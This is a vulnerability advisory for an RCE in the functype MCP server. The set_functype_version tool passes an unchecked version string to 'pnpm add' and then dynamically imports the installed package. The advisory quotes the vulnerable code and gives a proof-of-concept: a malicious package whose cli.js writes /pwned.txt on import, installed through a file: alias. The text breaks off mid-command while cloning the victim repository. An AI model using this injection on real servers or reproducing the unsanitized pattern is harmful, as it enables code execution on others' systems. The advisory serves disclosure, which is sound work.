CVE-2026-59176

functype-mcp-server: MCP `set_functype_version` Package Alias RCE via Unsanitized pnpm install + Dynamic Import ## MCP `set_functype_version` Package Alias RCE via Unsanitized pnpm install + Dynamic Import ### Summary The `set_functype_version` MCP tool in `functype-mcp-server` accepts an unconstrained `version` string, interpolates it directly into an npm package specifier (`functype@<version>`), and installs it via `pnpm add` without any validation. Because npm/pnpm package specifiers support `file:`, `npm:`, and other alias syntaxes, an attacker who can send an MCP `tools/call` request to this tool can cause the server to install an arbitrary local or remote package as `functype`. Immediately after installation, the server calls `initDocsData(true)`, which dynamically imports `functype/cli` from the newly installed location, executing attacker-controlled JavaScript in the MCP server process. This results in full Remote Code Execution (RCE) with the privileges of the server process — full confidentiality, integrity, and availability impact (CVSS 7.8 High). ### Details The vulnerable code is in `packages/mcp-server/src/index.ts`. The `set_functype_version` tool is registered at line 115 and is enabled by default (no authentication required in stdio mode). **Source (user input accepted without validation):** ```ts // packages/mcp-server/src/index.ts:119-121 parameters: z.object({ version: z.string().describe('The functype version to install (e.g., "0.46.0", "latest", "^0.45.0")'), }), ``` Only `z.string()` validation is applied — no semver format check, no allowlist for dist-tags, and no rejection of `file:`, `npm:`, URL, or path alias syntaxes. **Sink 1 — arbitrary package installation:** ```ts // packages/mcp-server/src/index.ts:122-125 execute: async (args) => { const spec = `functype@${args.version}` try { execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 }) ``` `args.version` is interpolated into the package specifier string and passed directly to `pnpm add`. Supplying `file:/path/to/evil` causes pnpm to install an attacker-controlled directory as the `functype` package alias. **Sink 2 — dynamic import executes installed package code:** ```ts // packages/mcp-server/src/lib/docs/data.ts:23-30 if (force) { const resolvedPath = require.resolve("functype/cli") cli = await import(`${pathToFileURL(resolvedPath).href}?t=${Date.now()}`) } ``` `initDocsData(true)` is called immediately after installation (line 134 in `index.ts`). It resolves `functype/cli` from the node_modules that now points to the attacker's package and dynamically imports it, executing any module-level code in the attacker's `cli.js` at import time. **Data flow summary:** 1. `index.ts:115` — MCP tool `set_functype_version` registered, no auth required. 2. `index.ts:119-121` — `version` accepted as raw `z.string()` (source). 3. `index.ts:123` — `functype@${args.version}` constructed without sanitization. 4. `index.ts:125` — `execFileSync("pnpm", ["add", spec], ...)` installs attacker-controlled package (sink: arbitrary install). 5. `index.ts:134` — `initDocsData(true)` called immediately. 6. `data.ts:29-30` — `require.resolve("functype/cli")` + dynamic `import()` executes attacker module (sink: RCE). ### PoC **Step 1 — Prepare the attacker-controlled evil package:** ```bash mkdir -p /tmp/evil cat > /tmp/evil/package.json <<'EOF' {"name":"evil-functype","version":"1.0.0","type":"module","exports":{"./cli":"./cli.js"}} EOF cat > /tmp/evil/cli.js <<'EOF' import { writeFileSync } from "node:fs"; writeFileSync("/pwned.txt", "RCE: mcp import-time code execution via set_functype_version\n"); export const TYPES = {}; export const INTERFACES = {}; export const CATEGORIES = {}; export const FULL_INTERFACES = {}; export const VERSION = "1.0.0"; EOF ``` **Step 2 — Clone and build the victim monorepo at the affected version:** ```bash TMP="$(mktemp -d)" git clone https://github.com/jordanburke/functype.git "$TM